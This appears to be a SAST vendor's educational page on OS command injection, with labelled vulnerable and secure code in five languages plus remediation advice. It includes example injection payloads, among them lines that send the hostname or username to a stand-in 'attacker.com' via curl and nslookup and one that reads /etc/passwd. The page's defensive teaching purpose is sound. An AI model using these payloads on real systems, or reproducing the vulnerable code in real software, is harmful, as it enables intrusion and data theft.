OS Command Injection
OS Command Injection occurs when an application passes unsanitized user input to a system shell, allowing attackers to execute arbitrary commands on the host operating system. Learn how to detect and prevent command injection across languages.
What is OS Command Injection?
OS Command Injection (CWE-78) is a vulnerability that allows an attacker to execute arbitrary operating system commands on the server hosting an application. It occurs when user-supplied data is passed to a system shell (e.g., bash, cmd.exe, sh) without proper sanitization.
Unlike SQL Injection, which targets the database layer, command injection gives the attacker direct control over the underlying operating system. A successful exploit can result in:
- Full server compromise — Read/write any file, install backdoors, pivot to internal networks
- Data exfiltration — Dump databases, steal credentials, access environment variables
- Denial of service — Kill processes, wipe disks, consume resources
- Lateral movement — Use the compromised host as a launchpad into internal infrastructure
Command injection is classified as Critical severity because it frequently leads to complete system takeover with a single request.
Why it matters
Command injection is one of the most severe vulnerability classes in application security. Real-world impact includes:
- Immediate RCE — Unlike many vulnerabilities that require chaining, command injection gives remote code execution in a single step
- Prevalence in DevOps tooling — Applications that wrap CLI tools (image processors, PDF generators, git operations, CI/CD pipelines) are particularly susceptible
- Cloud metadata access — On cloud instances, command injection can be used to query instance metadata endpoints (e.g.,
169.254.169.254) and steal IAM credentials - Supply chain risk — Build servers and CI/CD systems that execute user-influenced commands can compromise entire software supply chains
The 2014 Shellshock vulnerability (CVE-2014-6271) demonstrated how command injection through environment variables affected millions of servers running CGI-based web applications.
How exploitation works
Basic example
Consider an application that lets users ping a host for diagnostics:
# VULNERABLE: User input passed directly to shell
import os
def ping(request):
host = request.GET.get('host')
result = os.system(f"ping -c 4 {host}")
An attacker submits host=127.0.0.1; cat /etc/passwd and the shell executes:
ping -c 4 127.0.0.1; cat /etc/passwd
The semicolon terminates the first command and executes cat /etc/passwd. Other shell metacharacters that enable injection include:
| Character | Effect |
|---|---|
; | Command separator |
| | Pipe output to next command |
&& | Execute next command if first succeeds |
|| | Execute next command if first fails |
` | Command substitution (backticks) |
$() | Command substitution |
> | Redirect output to file |
\n | Newline (command separator in many shells) |
Blind command injection
When output is not returned to the attacker, they use out-of-band techniques:
# DNS exfiltration
host=127.0.0.1; nslookup $(whoami).attacker.com
# Time-based detection
host=127.0.0.1; sleep 10
# HTTP callback
host=127.0.0.1; curl https://attacker.com/$(cat /etc/hostname)
Vulnerable code examples
Python
# VULNERABLE: subprocess with shell=True
import subprocess
def convert_image(request):
filename = request.POST.get('filename')
subprocess.call(f"convert {filename} output.png", shell=True)
# VULNERABLE: os.popen
import os
def get_disk_usage(request):
path = request.GET.get('path')
result = os.popen(f"du -sh {path}").read()
return result
C# / ASP.NET
// VULNERABLE: Process.Start with user input in arguments
public string RunDiagnostic(string target)
{
var process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = $"/c nslookup {target}";
process.StartInfo.RedirectStandardOutput = true;
process.Start();
return process.StandardOutput.ReadToEnd();
}
Java
// VULNERABLE: Runtime.exec with concatenated input
public String checkHost(String hostname) throws IOException {
Process proc = Runtime.getRuntime().exec("ping -c 4 " + hostname);
BufferedReader reader = new BufferedReader(
new InputStreamReader(proc.getInputStream()));
return reader.lines().collect(Collectors.joining("\n"));
}
Node.js
// VULNERABLE: child_process.exec with user input
const { exec } = require('child_process');
app.get('/lookup', (req, res) => {
const domain = req.query.domain;
exec(`dig ${domain}`, (error, stdout) => {
res.send(stdout);
});
});
PHP
// VULNERABLE: system() with user input
$filename = $_GET['file'];
system("file " . $filename);
Secure code examples
Python — Use subprocess without shell
# SECURE: subprocess with argument list (no shell interpretation)
import subprocess
def convert_image(request):
filename = request.POST.get('filename')
# Validate filename against allowlist pattern
if not re.match(r'^[a-zA-Z0-9_\-]+\.(jpg|png|gif)$', filename):
raise ValueError("Invalid filename")
subprocess.call(["convert", filename, "output.png"]) # No shell=True
C# — Use Process with argument array
// SECURE: Separate executable and arguments, validate input
public string RunDiagnostic(string target)
{
// Validate: must be a valid hostname or IP
if (!Uri.CheckHostName(target).Equals(UriHostNameType.Unknown) == false)
throw new ArgumentException("Invalid target");
var process = new Process();
process.StartInfo.FileName = "nslookup";
process.StartInfo.Arguments = target; // No shell metacharacter interpretation
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.Start();
return process.StandardOutput.ReadToEnd();
}
Java — Use ProcessBuilder with argument list
// SECURE: ProcessBuilder with separate arguments
public String checkHost(String hostname) throws IOException {
// Validate hostname format
if (!hostname.matches("^[a-zA-Z0-9.\\-]+$")) {
throw new IllegalArgumentException("Invalid hostname");
}
ProcessBuilder pb = new ProcessBuilder("ping", "-c", "4", hostname);
Process proc = pb.start();
BufferedReader reader = new BufferedReader(
new InputStreamReader(proc.getInputStream()));
return reader.lines().collect(Collectors.joining("\n"));
}
Node.js — Use execFile or spawn
// SECURE: execFile does not invoke a shell
const { execFile } = require('child_process');
app.get('/lookup', (req, res) => {
const domain = req.query.domain;
// Validate domain format
if (!/^[a-zA-Z0-9.\-]+$/.test(domain)) {
return res.status(400).send('Invalid domain');
}
execFile('dig', [domain], (error, stdout) => {
res.send(stdout);
});
});
PHP — Use escapeshellarg or avoid shell entirely
// SECURE: escapeshellarg prevents metacharacter interpretation
$filename = $_GET['file'];
$safe_filename = escapeshellarg($filename);
system("file " . $safe_filename);
// BETTER: Use built-in functions instead of shelling out
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $filename);
What Offensive360 detects
Our SAST engine performs interprocedural data-flow analysis to trace user input from HTTP parameters, form data, headers, environment variables, and file uploads through to OS command execution sinks. We detect:
- Direct shell execution — Calls to
system(),exec(),popen(),shell_exec(),Process.Start(),Runtime.exec(),child_process.exec()with tainted input - shell=True in subprocess — Python
subprocesscalls that enable shell interpretation with user-controlled arguments - Argument injection — Cases where the executable is safe but user input can inject additional flags (e.g.,
--output=/etc/cron.d/backdoor) - Indirect flow — User input stored in a database or file and later used in command execution
- Template-based construction — String interpolation, f-strings,
String.Format, and template literals used to build shell commands
Each finding includes the complete taint trace from the input source to the dangerous sink, along with the specific shell metacharacters that could be exploited.
Remediation guidance
-
Avoid shell execution entirely — Use language-native libraries instead of shelling out. For example, use
System.Net.Dnsfor DNS lookups instead of callingnslookup, or use an image processing library instead of calling ImageMagick via shell. -
Use parameterized execution — When you must invoke an external process, use APIs that accept argument arrays (
ProcessBuilder,subprocess.run([...]),execFile) instead of passing a single command string through a shell. -
Never set shell=True — In Python’s
subprocessmodule, never useshell=Truewith user-influenced input. Similarly, avoidcmd.exe /corsh -cwrappers in other languages. -
Validate and restrict input — Apply strict allowlist validation. If the input should be a hostname, validate it as a hostname. If it should be a filename, ensure it matches
^[a-zA-Z0-9._-]+$. -
Use escapeshellarg/escapeshellcmd as a last resort — In PHP, these functions provide shell escaping but are not foolproof across all platforms. Prefer avoiding shell execution.
-
Apply least privilege — Run application processes with minimal OS permissions. Use containers, sandboxes, or restricted shells to limit the blast radius of a successful injection.
False-positive considerations
Offensive360 may flag command execution that is safe in certain scenarios:
- Hardcoded commands — If the entire command string is a compile-time constant with no user-influenced components, there is no injection risk
- Validated and constrained input — If user input is parsed to an integer, matched against an enum, or checked against a strict allowlist before use in a command
- Non-shell execution with safe arguments —
ProcessBuilderorexecFilecalls where user input is a single argument that cannot be interpreted as shell metacharacters - Test/build scripts — Development-only scripts that are not deployed or exposed to external input
Our taint analysis engine reduces these false positives by tracking sanitization and validation functions, but some cases may require manual review and suppression.
References
Related vulnerabilities
Detect OS Command Injection in your code
Run Offensive360 SAST against your codebase to find this and hundreds of other vulnerabilities.